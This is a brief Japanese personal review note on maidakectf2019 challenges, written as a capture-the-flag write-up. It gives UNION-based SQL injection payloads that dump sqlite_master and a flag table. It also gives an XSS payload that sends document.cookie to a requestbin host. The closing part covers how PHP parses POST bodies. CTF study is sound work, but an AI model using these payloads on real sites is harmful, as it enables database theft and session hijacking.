復習回 maidakectf2019
//
この記事は
自分用です。。
参考
Kancolle Engine (SQLi)
LIKE句
にユーザ入力が入る問題でした。(問題ではsqlite3使用とのこと。) ワイルドカードとして、%
が0文字以上の任意の文字列、_
が任意の1文字を表すので、%
をフォームに投げるとたくさんレコードが表示されるので気づけるとのこと。
$ ' and 0 union select 1,2,3,4,5,6,7,8,9,10,11;# ->で動くか確認。(カラム数はヒントとしてソースから推測できた) $ ' and 0 union select sql,2,3,4,5,6,7,8,9,10,11 from sqlite_master;# ->sqlite_masterテーブルからsqlカラムを抜くことで、作られているテーブル名とカラム名が取得できる。ここから、flagテーブルにthis_is_flagカラムが存在することがわかる。 $ ' and 0 union select this_is_flag,2,3,4,5,6,7,8,9,10,11 from flag;#
Haiku contest
投稿内容を管理側で見てくれる(採点という名目)感じなサイト。Requestbin
を送り先にしてリクエストを飛ばさせればokだったけれど、なんか上手くいかなかった。
<script>(new Image).src='http://requestbinのドメイン/先/?'+document.cookie</script>
上を投げれば、クッキーが抜けてそれがそのままフラグになる。
phpで書かれたフォームへのPOST
何気なく手間取ってしまった。$_POSTはContent-type: application/x-www-form-urlencoded
かmultipart/form-data
の形式で受け取るとのこと。なので、json
形式で書いてもちゃんと受け取ってくれないです。
なので、x-www-form-urlencoded
ではa=1&b=1
のようなクエリパラメータの形式で投げてあげましょう。